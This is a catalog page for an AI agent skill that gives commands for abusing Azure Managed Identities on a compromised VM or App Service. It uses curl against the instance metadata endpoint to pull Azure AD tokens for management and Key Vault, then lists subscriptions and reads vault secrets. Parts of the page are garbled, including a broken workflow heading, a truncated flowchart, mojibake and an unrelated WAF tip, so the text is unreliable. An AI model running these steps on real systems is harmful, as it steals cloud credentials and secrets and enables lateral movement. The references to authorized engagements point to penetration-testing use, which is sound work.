SECURITY REVIEW
Not yet assessed
Review the original instructions and requested permissions before installing.
No security review is available for this catalog entry yet.
Community / AGENT SKILL
azure-managed-identity-abuse
0
Abuse Azure Managed Identities from compromised Azure Virtual Machines (VMs), Functions, or App Services to seamlessly request valid, highly-privileged Azure AD access tokens and laterally move throughout the cloud environment without requiring explicit credentials.
Understand the trade-offs.
SKILL QUALITY
Not yet assessed
How clearly the skill guides your agent, how complete its workflow is, and how you can check the outcome.
No quality assessment is available for this catalog entry yet.
The full skill.
Original instructions from the publisherβs SKILL.md
# Azure Managed Identity Abuse
## When to Use
- When To When Workflow
### Phase 1: Validating the Environment
```bash
# Concept: 1. curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# 2. ```
### Phase 2: Requesting Azure AD Tokens
```bash
# Concept: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true > token.json
# curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true > vault_token.json
# ```
### Phase 3: Abusing the Associated Privileges
```bash
# 1. curl -H "Authorization: Bearer <TOKEN>" https://management.azure.com/subscriptions?api-version=2020-01-01
# 2. CONNECT az CLI az login --identity
az keyvault secret show --name MySecret --vault-name TargetVault
```
#### Decision Point π
```mermaid
flowchart TD
A[Compromise ] --> B[Test ]
B --> C{Does }
C -->|Yes| D[Request ]
C -->|No| E[Check D --> F[Pivot ]
```
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Output Format
```
Azure Managed Identity Abuse β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## π΅ Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
## π Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β Verified disclosed bounties by vulnerability class
## References
- Microsoft: [Managed identities for Azure resources](https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview)
- HackTricks: [Azure Managed Identity Abuse](https://book.hacktricks.xyz/cloud-security/azure-security/az-managed-identities)